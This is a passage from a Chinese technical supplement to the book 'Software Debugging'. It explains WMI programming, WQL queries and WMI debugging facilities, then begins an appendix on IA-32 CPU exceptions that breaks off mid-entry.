《软件调试》补编 - 98 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 的组件。 IWbemLocator *pIWbemLocator = NULL; if(CoCreateInstance(CLSID_WbemLocator, NULL, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID *) &pIWbemLocator) == S_OK) { // Using the locator, connect to CIMOM in the given namespace. if(pIWbemLocator->ConnectServer(pNamespace, NULL, //using current account for simplicity NULL, //using current password for simplicity 0L, // locale 0L, // securityFlags NULL, // authority (domain for NTLM) NULL, // context &m_pIWbemServices) != S_OK) { // error handling } pIWbemLocator->Release(); } 设置 设置 设置 设置 WMI 连接的安全等级 连接的安全等级 连接的安全等级 连接的安全等级( ( ( (security level) ) ) ) 因为 WMI 应用程序是通过 WMI 组件的代理(proxy)来访问进程外的 WMI 服务的, 所 以 应 该 设 置 合 适 的 认 证 信 息 供 代 理 进 行 RPC 调 用 时 使 用 。 这 可 以 通 过 调 用 CoSetProxyBlanket API 来完成。 hres = CoSetProxyBlanket( pSvc, // Indicates the proxy to set RPC_C_AUTHN_WINNT, // RPC_C_AUTHN_xxx RPC_C_AUTHZ_NONE, // RPC_C_AUTHZ_xxx NULL, // Server principal name RPC_C_AUTHN_LEVEL_CALL, // RPC_C_AUTHN_LEVEL_xxx RPC_C_IMP_LEVEL_IMPERSONATE, // RPC_C_IMP_LEVEL_xxx NULL, // client identity EOAC_NONE // proxy capabilities ); 执行应用逻辑 执行应用逻辑 执行应用逻辑 执行应用逻辑 在成功连接 WMI 服务并完成代理安全设置后,便可以调用 IWbemServices 接口中的 方法来执行应用程序自身的逻辑了。 比如通过 CreateInstanceEnum 方法创建一个实例枚 举(IEnumWbemClassObject)对象,然后枚举出某个类的所有实例。再比如,可以通过 GetObject 方法取得命名空间中的类对象,然后创建类的实例(SpawnInstance),读取类的 属性,执行类的方法(ExecMethod)等。概而言之,就是利用 WMI 服务暴露出的 COM 接口来访问和操作 WMI 对象。 WMI SDK(现在是 Platform SDK 的一部分)的 Samples\Sysmgmt\VC 目录下给出了 几个使用 C++编写的 WMI 应用程序的例子,MSDN 文档中也给出了一些例子,大家可以 参考,在此从略。 清理工作 清理工作 清理工作 清理工作 包括释放创建的对象(Release),调用 CoUninitialize 清理 COM/DCOM 库所分配的资 源等。 31.5.2 WMI 脚本 使用 WMI 服务的更简单和更常用方法是编写脚本。因为 Windows 提供了可以访问 WMI 的 ActiveX 控件,所以任何支持 ActiveX 控件的脚本语言都可以使用 WMI 服务,比 《软件调试》补编 - 99 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 如 VBScript、Microsoft Jscript 和 Perl。可以执行 WMI 脚本的常见环境(解释器)有 Windows Script Host (WSH)、ASP(Active Server Pages)网页(IIS 服务器)和 IE 浏览器等。 下面先举几个例子让大家认识一下 WMI 脚本。将清单 31-10 所示的使用 VBScript 编 写的脚本保存为一个 process_list.vbs 文件。然后在命令行下执行 cscript process_list.vbs, 便可以列出当前系统中所运行的所有进程。 清单 31-10 process_list.vbs for each Process in GetObject("winmgmts:{impersonationLevel=impersonate}")._ InstancesOf("Win32_process") WScript.Echo Process.Name Next 每次执行清单 31-11 所示的 cerate_process 脚本都会启动一个记事本程序,通过这个脚 本我们演示了如何执行一个带有输入参数的方法。 清单 31-11 create_process.vbs Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}") Set objW32Process = objWMIService.Get("Win32_Process") Set objInParam = objW32Process.Methods_("Create")._ inParameters.SpawnInstance_() ' Add the input parameters. objInParam.Properties_.Item("CommandLine") = "notepad.exe" ' Execute the method and obtain the return status. Set objOutParams = objWMIService.ExecMethod("Win32_Process", "Create", objInParam) Wscript.Echo "Out Parameters: " Wscript.echo "ProcessId: " & objOutParams.ProcessId Wscript.echo "ReturnValue: " & objOutParams.ReturnValue 最后再看看如何监听 WMI 事件,清单 31-12 所示的脚本注册接收记事本(notepad.exe) 进程启动(Win32_ProcessStartTrace)事件。 清单 31-12 pmon.vbs Set EventSource = GetObject("winmgmts:{impersonationLevel=impersonate}")._ ExecNotificationQuery("select * from Win32_ProcessStartTrace"&_ " where ProcessName='notepad.exe'") While true Set objEvent = EventSource.NextEvent WScript.Echo "NotePad starts with PID = "& objEvent.ProcessID Wend 31.5.3 WQL SQL(结构化查询语言)是数据库软件中广泛使用的一种数据查询语言,利用它可以 定义数据库对象(这部分被称为 Data definition Language,简称 DDL),操作数据库中的 数据(这部分被称为 Data Manipulation Language, 简称 DML),以及控制数据库的安全(这 部分被称为 Data Contorl Language,简称 DCL)。SQL 简单易懂,功能强大,被几乎所有 关系数据库管理系统(RDBMS)所采用。用于不同数据库系统的 SQL 的大多是对 ANSI 标准定义(SQL-92)的扩展,基本语法是相同的,但是某些方面会有所差异,比如微软 SQL Server 数据库所使用的 T-SQL。那么可以不可以使用 SQL 来查询 WMI 中的数据呢? 可以,这便是用于 WMI 的 SQL,被称为 WQL。 WQL(WMI Query Language)是标准 SQL 的一个子集,并加入了少量的变化。目前, WQL 只实现了 SQL 语言中的 DDL 部分(数据操纵)所定义的一部分功能,主要是提取 数据。 《软件调试》补编 - 100 – Copyright © 2009 ADVDBG.ORG All Rights Reserved WMI 的很多内部类都对执行 WQL 查询提供了强大的支持。通过 IWbemServices 接口 的 ExecQuery 方 法便可 以提交 WQL 查询 。因 此只要 先取 得或 创建一 个实现 了 IWbemServices 接口的对象,然后就可以通过它执行查询了。与数据库查询都是相对于当 前数据库类似,WQL 查询都是相对于当前命名空间的。因此要先连接到一个命名空间, 成功连接到命名空间就会得到一个实现了 IWbemServices 接口的对象(参考前面对 ConnectServer 方法的介绍),恰好就可以使用它执行查询了。事实上,连接命名空间会导 致 WMI 创建一个 CWbemNamespace 实例(参见清单),该实例便是实现了 IWbemServices 接口的组件对象。清单 31-13 所示的脚本演示了如何使用 VbScript 来连接一个命名空间, 取得 WbemService 对象,然后执行 WQL 查询的过程。 清单 31-13 使用 VBScript 执行 WQL 查询 strComputer = "." Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\CIMV2") Set colItems = objWMIService.ExecQuery( _ "SELECT * FROM Win32_NTLogEvent",,48) For Each objItem in colItems Wscript.Echo "-----------------------------------" Wscript.Echo "Win32_NTLogEvent instance" Wscript.Echo "Message: " & objItem.Message Next 容易想到,通过COM API 也可以得到WbemService对象然后执行WQL查询,Windows XP 自带的 WbemTest 工具(wbemtest.exe)就是一个这样的小程序。启动后连接到一个命 名空间,然后点击 Query 按钮就可以执行 WQL 查询了(图 31-12),下面我们便利用这个 工具带领大家通过几个试验学习 WQL。 图 31-12 WbemTest 工具 首先我们来看一下最常用的 SELECT 语句,在查询对话框的编辑区输入如下查询,然 后点击 Apply 按钮开始执行(参见图 31-13)。 select * from meta_class where __class like "%Win%" 这个查询的作用是列出当前命名空间中所有类名里包含 Win 字样的所有类。可以把 meta_class 理解为包含了当前命名空间(相当于数据库)内所有类描述的一张内部数据表。 __class 是 WQL 的一个关键字,可以把理解为 meta_calss 数据表中的一个内部列。 《软件调试》补编 - 101 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 图 31-13 使用 WbemTest 工具执行 WQL 查询 下面再来看一下 WQL 特有的 ASSOCIATORS OF 和 REFERENCES OF 语句,它们都 是用来提取与指定实例存在关联关系的实例(association instances)。但不同的是, ASSOCIATORS OF 得到的实例是都是关联关系的端点(endpoint),而 REFERENCES OF 语句得到的是中继(intervening)。举例来说,首先输入并执行如下语句: ASSOCIATORS OF {Win32_LogicalDisk.DeviceID="C:"} 在笔者机器上得到的结果如下: Win32_Directory.Name="C:\\" Win32_QuotaSetting.VolumePath=”C:\\” Win32_DiskPartition.DeviceID="Disk #0, Partition #0" Win32_ComputerSystem.Name="ADVDBG2" 以上每行代表一个对象实例,其格式为“类名.键名=键值”,即这个类的键值等于指 定值的实例与源实例存在关联关系。 接下来输入并执行以下语句,看看使用 REFERENCES OF 语句的结果。 REFERENCES OF {Win32_LogicalDisk.DeviceID="C:"} 在笔者机器上得到的结果如下: Win32_VolumeQuotaSetting.Element="\\\\SHXPLYZHAN31\\root\\cimv2:Win32_LogicalDis k.DeviceID=\"C:\"",Setting="\\\\SHXPLYZHAN31\\root\\cimv2:Win32_QuotaSetting.Vol umePath=\"C:\\\\\"" [以下多行省略] 使 用 我 们 前 面 介 绍 的 CIM Sutdio 工 具 可 以 观 察 到 Win32_LogicalDisk 、 Win32_VolumeQuotaSetting 和 Win32_QuotaSetting 这三个类的关联关系。从图中可以看到 Win32_QuotaSetting 是该关联关系的端点,而 Win32_VolumeQuotaSetting 类是联系着两个 类的一个中继类。这与前面的执行结果正好符合,ASSOCIATORS OF 的结果包含了 Win32_QuotaSetting 的实例,因为它是端点关联实例;REFERENCES OF 的结果包含了 Win32_VolumeQuotaSetting 的实例,因为它是中间的引用类。 从 Win32_VolumeQuotaSetting 类的定义中也可以看到它的“纽带特征”,Element 属性 指向 Win32_LogicalDisk,Setting 属性指向 Win32_QuotaSetting。 [dynamic: ToInstance, provider("DskQuotaProvider"): ToInstance, Locale(1033): ToInstance, UUID("FA452BCE-5B4F-4A56-BF52-7C4533984706"): ToInstance] class Win32_VolumeQuotaSetting : CIM_ElementSetting { [read: ToSubClass, key, Override("Element")] Win32_LogicalDisk ref Element = NULL; [read: ToSubClass, key, Override("Setting")] Win32_QuotaSetting ref Setting = NULL; }; 《软件调试》补编 - 102 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 图 31-14 Win32_LogicalDisk 和 Win32_QuotaSetting 类的关联关系 31.5.4 WMI 代码生成器 从微软网站可以免费下载一个名为 WMI Code Writer 的工具,使用该工具可以交互式 的生成各种 WMI 代码,比如浏览命名空间、执行查询、执行方法和接收事件(参见图 31-15)。 图 31-15 WMI 代码生成器 WMI Code Writer 支持生成三种语言的代码:VBScript、VB.Net 和 C#。清单 31-13 中 的 VBScript 脚本就是该工具自动生成的。WMI Code Writer 是使用 C#语言编写的,下载 的压缩包中包含了完整的源代码,感兴趣的读者可以仔细读一读。 31.5.5 WMI ODBC 适配器 ODBC(Open Database Connectivity)是数据库领域中一种广泛应用的调用层(call level)接口,通过 ODBC,应用程序可以使用同一套 API 来访问各种格式的数据库,只要 为其安装了 ODBC 驱动程序。WMI 的 CIM 数据仓库也是一种数据库,因此只要为其配备 了驱动程序,那么各种数据库应用程序就可以使用 ODBC API 来访问 WMI 中的信息了, 而不必使用 COM/DCOM。WMI ODBC 适配器(Adapter)就是按照这一思想设计的,通 过 WMI ODBC 适配器,应用程序可以像访问数据库一样访问 CIM 数据仓库。从 ODBC 架构角度来看,WMI ODBC 适配器启动的就是 ODBC 驱动程序的作用。 在 Windows XP 和 2000 的默认安装中都不含 WMI ODBC 适配器,但可以在安装光盘 的如下目录中找到它的安装程序。 VALUEADD\MSFT\MGMT\WBEMODBC 《软件调试》补编 - 103 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 运行以上目录中的 wbemodbc.msi 后,从控制面板的 ODBC 数据源管理对话框中就可 以看到 WBEM ODBC 驱动程序了(如图 31-16)。 图 31-16 WBEM ODBC 驱动程序 有了 ODBC 驱动程序,就可以通过 DSN(Data Source Name)或者连接字符串 (Connection String)来访问 CIM 数据了。其细节请参看 MSDN 中关于 ODBC 编程的部 分。需要说明的是,通过 WMI ODBC 适配器所访问到的 CIM 信息是只读的,而且不支持 Unicode。 31.5.6 在.Net 程序中使用 WMI 前面我们讲过,通过 COM API 来访问 WMI 服务是最灵活高效的方式,因为 WMI 本 身就是使用 COM 技术构建的。利用 COM Interop 技术,.Net 程序可以访问和使用 COM 组件,COM 组件也可以像使用其它 COM 组件那样访问.Net 语言编写的组件。因此,.Net 程序完全可以通过 COM Interop 来使用 WMI(WMI Consumer),也可以成为 WMI 的提供 器。为了使.Net 程序可以更简单使用 WMI,.Net Framework 提供了一个类库来封装 COM Interop 的细节,让程序员只要通过这些托管类(managed class)就可以使用 WMI。这些 类主要位于 System.Management 和 System.Management. Instrumentation 两个 namespace 中, 前者主要供使用 WMI(WMI 消耗器)的程序使用,后者供向 WMI 提供事件或数据(WMI 提供器)的程序使用,它们都被包含在 System.Management.dll 内。 清单 31-14 给出了一个使用 C#语言编写的小程序,它可以通过 WMI 列出当前系统中 运行着的所有进程。\code\chap31\c#\WmiClientCS\目录下包含了完整的项目文件。因为使 用了 System.Management 类,所以应该向项目中加入对 System.Management.dll 的引用(Add Reference)。 清单 31-14 在.Net 程序中使用 WMI 的简单示例 1 using System; 2 using System.Management; 3 4 namespace WmiClientCS 5 { 6 class Program 7 { 8 static void Main(string[] args) 9 { 《软件调试》补编 - 104 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 10 string searchQuery = "SELECT * FROM Win32_Process"; 11 ManagementObjectSearcher searchPrinters = 12 new ManagementObjectSearcher(searchQuery); 13 ManagementObjectCollection printerCollection = searchPrinters.Get(); 14 foreach (ManagementObject printer in printerCollection) 15 { 16 Console.WriteLine(printer.Properties["Name"].Value.ToString()); 17 } 18 } 19 } 20 } 31.6 调试 WMI WMI 是个复杂的系统,种类繁多的 WMI 应用程序和 WMI 提供器丰富了 WMI 的功 能,但同时也增加了整个系统的复杂度。在一个典型的 WMI 系统中,各种 COM/DCOM 组件在多个进程间相互调用,RPC 通信和异步调用非常普遍,这些因素都为调试 WMI 有 关的问题增加了难度。好在 WMI 在设计时便考虑到了调试问题,内建了很多调试支持: 1. WMI 的所有核心模块都具有日志记录功能,可以将重要的操作和异常情况记录到日 志文件中。 2. WMI 内 部 包 含 了 很 多 专 门 用 于 调 试 的 类 , 包 括 用 于 对 各 种 操 作 计 数 的 Msft_WmiProvider_Counters 类,专门用于产生调试事件的 MSFT_WmiSelfEvent 类和 它的数十个派生类。 3. 尽管 WMI 自身的基础模块和类很多,而且微软的文档中没有介绍这些内部类,但是 借助调试符号,我们还是可以比较容易的理解出每个类的作用,各个类之间的关系等。 从函数和属性的名称也基本可以推测出它的含义,从而可以设置断点或跟踪执行。这 为追踪某些复杂的 WMI 问题提供了条件。 下面我们对 1 和 2 两点进行详细介绍。 31.6.1 WMI 日志文件 默认情况下,WMI 的日志文件被保存在%windir%\system32\wbem\logs 目录下。因为 不同功能的 WMI 模块会使用不同的的日志文件,所以在以上目录中,通常可以看到十几 个文件,表 31-10 列出了这些文件的名称和用途。 表 31-10 WMI 日志文件的名称和简要介绍 文件名 描述 Dsprovider.log Trace information and error messages for the Directory Services Provider. Framework.log Trace information and error messages for the provider framework and the Win32 Provider. Mofcomp.log Compilation details from the MOF compiler. Ntevt.log Trace messages from the Event Log Provider. Setup.log Report on those MOF files that failed to load during the setup process. However, the error that caused the failure is not reported. You must review the Mofcomp.log file to determine the reason for the failure. After the error has been corrected, you can recompile the MOF file (using mofcomp) with the -autorecover switch. Viewprovider.log Trace information from the View Provider. This provider requires that you set a bit value for the following registry key. HKEY_LOCAL_MACHINE \SOFTWARE\Microsoft\WBEM\ PROVIDERS\Logging\ViewProvider\Level Wbemcore.log Wide spectrum of trace messages. Wbemess.log Log entries related to events. Wbemprox.log Trace information for the WMI proxy server. 《软件调试》补编 - 105 – Copyright © 2009 ADVDBG.ORG All Rights Reserved Winmgmt.log Trace information that is typically not used for diagnostics. Wmiadap.log Error messages related to the AutoDiscoveryAutoPurge (ADAP) process. Wmiprov.log Management data and events from WMI-enabled Windows Driver Model (WDM) drivers. WMI 的日志功能是可以配置的,WMI 核心模块的日志选项保存在如下注册表表键下: HKEY_LOCAL_MACHINE \SOFTWARE\Microsoft\WBEM\CIMOM\ 可以配置的选项如表 31-11 所示。 表 31-11 WMI 核心模块的日志选项 键值名称 类型 功能和默认值 Logging REG_SZ 记录级别,可以为 0(不记录),1(仅记录错误),2(详 细记录)三个级别。默认为 2。 Logging Directory REG_SZ 日志文件路径,默认为%windir%\system32\wbem\logs。 Log File Max Size REG_SZ 日志文件最大长度(字节数),默认为 65536 字节。 各个 WMI 提供器的日志选项保存在 PROVIDERS\Logging 子键下的以提供器名称命 名的表键下,比如 NTEVT 提供器的日志配置选项存储在如下位置: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\PROVIDERS\Logging\NTEVT 对于提供器,可以设置表 31-12 所列出的 4 种选项。 表 31-12 WMI 提供器的配置选项 键值名称 类型 功能 File REG_SZ 日 志 文 件 的 完 整 路 径 和 文 件 名 。 比 如 C:\WINDOWS\system32\WBEM\Logs\\NTEVT.log Level REG_DWORD 用来定义调试信息输出的 32 位的掩码(bit mask),与 提供器的实现有关。 MaxFileSize REG_DWORD 日志文件最大长度(字节数),默认为 65536 字节。 Type REG_SZ 日志输出的类型,可以设为“File”(写到文件)和 “Debugger”(输出到调试器)两种。 31.6.2 WMI 的计数器类 WMI 内部专门设计了一些类用来收集状态和调试信息,我们先来看一下用于对各种 操作计数的 Msft_WmiProvider_Counters 类 Msft_WmiProvider_Counters 类的作用是对各种常见的函数调用进行计数。这个类没有 方法,只有 24 个属性,全都是 64 位的无符号整数(uint64),用作计数器(Counter)。表 31-13 列出了这些属性的名称和它们各自要记录的操作(函数调用)。 表 31-13 WMI 的计数器(Msft_WmiProvider_Counters 类的成员) 属性 记录的调用 ProviderOperation_AccessCheck IWbemEventProviderSecurity::AccessCheck ProviderOperation_CancelQuery IWbemEventProviderQuerySink::CancelQuery ProviderOperation_CreateClassEnumAsync IWbemServices::CreateClassEnumAsync ProviderOperation_CreateInstanceEnumAsync IWbemServices::CreateInstanceEnumAsync ProviderOperation_CreateRefreshableEnum IWbemHiPerfProvider::CreateRefreshableEnum ProviderOperation_CreateRefreshableObject IWbemHiPerfProvider::CreateRefreshableObject ProviderOperation_CreateRefresher IWbemHiPerfProvider::CreateRefresher ProviderOperation_DeleteClassAsync IWbemServices::DeleteClassAsync ProviderOperation_DeleteInstanceAsync IWbemServices::DeleteInstanceAsync ProviderOperation_ExecMethodAsync IWbemServices::ExecMethodAsync 《软件调试》补编 - 106 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 属性 记录的调用 ProviderOperation_ExecQueryAsync IWbemServices::ExecQueryAsync ProviderOperation_FindConsumer IWbemEventConsumerProvider::FindConsumer ProviderOperation_GetObjectAsync IWbemServices::GetObjectAsync ProviderOperation_GetObjects IWbemHiPerfProvider::GetObjects ProviderOperation_GetProperty IWbemPropertyProvider::GetProperty ProviderOperation_NewQuery IWbemEventProviderQuerySink::NewQuery ProviderOperation_ProvideEvents IWbemEventProvider::ProvideEvents ProviderOperation_PutClassAsync TIWbemServices::PutClassAsync ProviderOperation_PutInstanceAsync IWbemServices::PutInstanceAsync ProviderOperation_PutProperty IWbemPropertyProvider::PutProperty ProviderOperation_QueryInstances IWbemHiPerfProvider::QueryInstances ProviderOperation_SetRegistrationObject 未实现 ProviderOperation_StopRefreshing TIWbemHiPerfProvider::StopRefreshing ProviderOperation_ValidateSubscription IWbemEventProviderSecurity::AccessCheck WMI 已经为 Msft_WmiProvider_Counters 类定义了一个实例,位于\root\CIMV2 命名 空间中,因此只要使用清单 31-15 所示的 VBScript 就可以得到各个计数器的值了。 清单 31-15 列出所有 WMI 计数器值的脚本 strComputer = "." Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\CIMV2") Set colItems = objWMIService.ExecQuery( _ "SELECT * FROM Msft_WmiProvider_Counters",,48) For Each objItem in colItems Wscript.Echo "-----------------------------------" Wscript.Echo "Msft_WmiProvider_Counters instance" Wscript.Echo "-----------------------------------" Wscript.Echo "ProviderOperation_AccessCheck: " & objItem.ProviderOperation_AccessCheck ‘ 排版时省略多行,完整脚本位于 chap31\script\counters.vbs Next 31.6.3 WMI 的故障诊断类 WMI 定义了很多用于汇报重要 WMI 事件的事件类,供调试和故障诊断使用。这些类 被统称为故障诊断类(troubleshooting class),它们都派生自一个共同的基类—— MSFT_WmiSelfEvent 类。根据事件来源,这些类被划分为三个组,分别被称为 WMI 服务 事件诊断类、提供器事件诊断类和事件消耗器提供器诊断类。 WMI 服务事件诊断类 服务事件诊断类 服务事件诊断类 服务事件诊断类 WMI 服务事件诊断类用于报告 WMI 内部服务模块中的发生的重要事件,比如创建线 程池(MSFT_WmiThreadPoolCreated)、激活和解除事件过滤器(MSFT_WmiFilterActivated 和 MSFT_WmiFilterDeactivated ) 、 订 阅 事 件 和 取 消 订 阅 (MSFT_WmiRegisterNotificationEvent 和 MSFT_WmiCancelNotificationSink)等等。所有 服务事件诊断类都派生自 MSFT_WmiEssEvent 类,ESS 的含义是事件子系统(Event Sub-system)。因此可以通过订阅 MSFT_WmiEssEvent 类来接受所有服务诊断类事件。 提供器事件诊断类 提供器事件诊断类 提供器事件诊断类 提供器事件诊断类 WMI 调试的最常见任务就是调试 WMI 提供器,很多 WMI 故障都与某个(些)提供 器有关。因此 WMI 内建了 30 几个事件类来报告各种与提供器有关的操作,包括安全检查、 《软件调试》补编 - 107 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 执行和取消查询、加载 COM 服务器、存取对象等等。而且对于大多数操作,都设计了两 个事件类,分别报告该操作执行前和执行后的状态,如对于取消查询操作,就有两个事件 类,MSFT_WmiProvider_CancelQuery_Pre 和 MSFT_WmiProvider_CancelQuery_Post。前 者会在提供器的 IWbemEventProviderQuerySink::CancelQuery 被调用前报告,后者在提供 器的方法被执行后报告。 因为篇幅有限,我们无法一一介绍每个提供器事件类,大家在使用时可以参阅 SDK 文档。喯届下面我们通过一个试验来介绍 MSFT_WmiProvider_LoadOperationFailure- Event 类。 MSFT_WmiProvider_LoadOperationFailureEvent 类定义了激活或初始化提供器失败事 件。我们可以使用清单 31-16 所示的脚本订阅并监听此事件。 清单 31-16 订阅并监听此加载提供器失败事件(LoadFailure.vbs) strComputer = "." Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\CIMV2") Set objEvents = objWMIService.ExecNotificationQuery _ ("SELECT * FROM Msft_WmiProvider_LoadOperationFailureEvent") Wscript.Echo "Waiting for events ..." Do While(True) Set objReceivedEvent = objEvents.NextEvent 'report an event Wscript.Echo "-----------------------------------------------------------" Wscript.Echo "Msft_WmiProvider_LoadOperationFailureEvent event has occurred." Wscript.Echo "ServerName: " & objReceivedEvent.ServerName Wscript.Echo "InProcServer: " & objReceivedEvent.InProcServer Wscript.Echo "InProcServerPath: " & objReceivedEvent.InProcServerPath Wscript.Echo "ThreadingModel: " & objReceivedEvent.ThreadingModel 《软件调试》补编 - 108 – Copyright © 2009 ADVDBG.ORG All Rights Reserved Wscript.Echo "ResultCode: " & objReceivedEvent.ResultCode Loop 可以通过如下实验来感受该事件的产生条件和作用。 1. 编译 WMI SDK 中的 ClassProv 项目,chap31\ClassProv 目录下有该示例的一个副本。 2. 开启一个命令行窗口,转到编译好的 ClassProv.DLL 文件所在目录,键入 regsvr32 classprov.dll 对其进行注册。 3. 转到项目文件所在目录,确认存在 ClassProv.MOF 文件,然后键入 mofcomp classprov.mof 向 CIM 对象管理器注册此提供器。 4. 运行 WbemTest 工具,连接到\root\default 命名空间,然后选择 Open Class 按钮并键入 ClassProvSamp,确认该类已经存在。 5. 停止 WMI 服务(请在测试机器上实验,以免导致意外损失),可以在服务面板操作, 也可以在命令行键入 net stop winmgmt。 6. 将刚刚注册的 ClassProv.DLL 文件删除。 7. 将命令行窗口的当目录切换到 chap31\script\,然后键入 cscript loadfailure.vbs 执行该 脚本。如果成功,应该看到如下屏幕输出。 c:\dig\dbg\author\code\chap31\script>cscript loadfailure.vbs Microsoft (R) Windows Script Host Version 5.6 Copyright (C) Microsoft Corporation 1996-2001. All rights reserved. Waiting for events ... 8. 重复第 4 步的打开 ClassProvSamp 类操作,因为 ClassProvSamp 类的提供器模块已经 仔第 6 步被删除,所以 Wbemtest 会显示出图 31-17 所示的错误对话框。 图 31-17 加载提供器失败对话框 9. 此时观察运行脚本的命令行窗口,应该看到类似如下的输出: ----------------------------------------------------------- Msft_WmiProvider_LoadOperationFailureEvent event has occurred. ServerName: WINMGMT Sample Class Provider InProcServer: True InProcServerPath: c:\dig\dbg\author\code\chap31\ClassProv\Debug\classprov.dll ThreadingModel: 1 ResultCode: -2147024770 结果码-2147024770 对应的 16 进制值为 0x8007007E,使用 Error Lookup 工具可以查 到其含义为 “The specified module could not be found.”,即没有找到指定的模块。 事件消耗器提供器诊断类 事件消耗器提供器诊断类 事件消耗器提供器诊断类 事件消耗器提供器诊断类 前 面 我 们 介 绍 过 , 事 件 消 耗 器 提 供 器 的 作 用 是 判 断 应 该 使 用 哪 一 个 永 久 的 (permanent)事件消耗器来处理给定的事件,也就是将物力消耗器映射到逻辑消耗器。 与普通 WMI 提供器一样,事件消耗器提供器也是以 COM 服务器的形式工作的,WMI 会 根据需要动态加载这些提供器。为了调试事件消耗器提供器,WMI 设计了四个事件类来 《软件调试》补编 - 109 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 报 告 事 件 消 耗 器 提 供 器 的 加 载 ( MSFT_WmiConsumerProviderLoaded )、 卸 载 ( MSFT_WmiConsumerProviderLoaded ) 以 及 成 功 激 活 ( MSFT_WmiConsumer- ProviderSinkLoaded)和解除(MSFT_WmiConsumerProviderSinkUnloaded)事件接插点 (sink)对象。这四个事件类都派生自 MSFT_WmiProviderEvent。 31.6 本章总结 本 章 花 较 大 的 篇 幅 比 较 全 面 的 介 绍 Windows 系 统 中 应 用 最 广 泛 的 管 理 (administration)机制——WMI。我们的主要目的有三: 第一、尽管 WMI 主要是一种管理机制,由于它所建立的访问受管对象的强大设施和 丰富工具也为调试受管对象提供了宝贵的资源。Windows 系统的很多重要部件和很多系统 服务都支持 WMI(参见 31.4 节),使用 WMI 可以探测这些部件和服务的内部信息,接收 事件,或者执行操作。 第二、从软件开发的角度来看,支持 WMI 有助于提高软件的可维护性和可调试性 (Debuggability)。本章介绍 WMI 的工作原理也是为本书第 5 部分讨论软件的可调试性奠 定基础。 第三、WMI 是 Windows 操作系统的一个重要部分,学习和深入理解 WMI 是全面理 解 Windows 系统的一门必修课。熟悉 WMI 的基础部件和提供器,熟练使用 WMI 脚本和 工具可以丰富我们的知识库、有助于提高调试技能。 《软件调试》补编 - 110 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 补编内容 补编内容 补编内容 补编内容 9 CPU 异常逐一描述 异常逐一描述 异常逐一描述 异常逐一描述 补编说明: 这一章本来是《软件调试》的第一个附录,描述的是 CPU 的每个异常。 《软件调试》的一条主线就是异常,全书按从底层到顶层的顺序反复介绍了 异常。CPU 的异常(有时也叫硬件异常)是很多程序员感觉陌生的,因此《软 件调试》的第 2 篇对此做了比较全面的介绍。这个附录是配合第 2 篇内容的, 更详细的介绍了每一种 CPU 异常。 在邻近出版进行编辑时,这一附录被删除了,目的是为了控制篇幅,删除 的原因主要是这一内容的难度比较大,一般的程序员可能望而却步,不会 仔细阅读。 《软件调试》补编 - 111 – Copyright © 2009 ADVDBG.ORG All Rights Reserved CPU 异常详解 本书第 3 章介绍了 IA-32 CPU 的异常,并通过表 3-2 列出了 IA-32 处理器迄今为止所 定义的所有异常。本附录将以向量号为顺序逐一介绍每一种异常,详细描述它的以下属性: 向量号:该异常的向量号。 异常类型:即该异常属于错误类异常、陷阱类异常还是中止类异常。 相关处理器:最早引入该异常的处理器,以及其它处理器对该异常的实现情况。 描述:该异常的产生原因、用途等信息。 错误代码:CPU 在产生某些异常时,会向栈中压入一个 32 位的错误代码。 保存的程序指针:CPU 在产生异常时会向栈中压入程序指针。 程序状态变化:该异常对程序状态的影响,是否可以安全的恢复重新执行。 本附录的内容主要参考了 IA-32 手册和 Tom Shanley 所著的《The Unabridged Pentium 4》一书。 C.1 除零异常(#DE) 向量号:0 异常类型:错误(Fault) 引入该异常的处理器:8088 最早引入该异常,其后的 8086、80286 以及所有 IA-32 处理器都实现了该异常。 描述:CPU 在执行 DIV(无符号除法)或 IDIV(带符号除法)指令时如果检测到以 下情况则会产生该异常: 除数为 0。 商值太大,无法用目标运算符表示出来。 错误代码:CPU 不会向栈中放入错误代码。 保存的程序指针:栈中保存的 CS 和 EIP 值指向的是导致该异常的指令。 程序状态变化:该异常不会改变程序状态,CPU 会将处理器状态恢复到执行该指令 之前的状态。所以当错误情况被纠正后(比如除数改为非 0)可以安全的重新执行。 C.2 调试异常(#DB) 向量号:1 附 录 C 《软件调试》补编 - 112 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 异常类型:陷阱(Trap)或错误(Fault),异常处理例程可以根据 DR6 和其它调试寄 存器的内容判断,参见第 4 章的表 4-2。 引入该异常的处理器:8088 最早引入该异常,其后的 8086、80286 以及所有 IA-32 处理器都实现了该异常。 描述:此异常表示 CPU 已将检测一或多个调试事件的触发条件被满足。 错误代码:CPU 不会向栈中放入错误代码。 保存的程序指针:对于错误类异常,栈中保存的 CS 和 EIP 值指向的是导致该异常的 指令。 对于陷阱类异常,栈中保存的 CS 和 EIP 值指向的是导致异常指令执行完接下来该执 行的指令。注意,CS 和 EIP 指向的不一定是地址相邻的下一条指令,比如如果在执行 JMP 指令时发生了陷阱异常,那么 CS:EIP 指向的是 JMP 指令的目标地址。 程序状态变化:错误类异常不会改变程序状态,CPU 会将处理器状态恢复到执行该 指令之前的状态。所以程序可以安全的从异常处理例程返回并正常执行。 陷阱类调试异常伴随有程序状态变化,因为在异常产生前正在执行指令或任务切换会 执行完毕。不过,程序状态不会被破坏,可以继续安全的执行。 C.3 不可屏蔽中断(NMI) 向量号:2 异常类型:不属于异常,属于中断。 引入该异常的处理器:8088 最早引入该中断(不是异常),其后的 8086、80286 以及所 有 IA-32 处理器都实现了该中断。 描述:硬件中断,是由于外部硬件通过 CPU 的 NMI 管脚发出中断请求或者系统的 I/O APIC 向 CPU 内的本地 APIC 发送了 NMI 中断消息。 错误代码:N/A(不适用) 保存的程序指针:栈中保存的 CS 和 EIP 值指向的是响应中断前接下来要执行的那条 指令。 程序状态变化:CPU 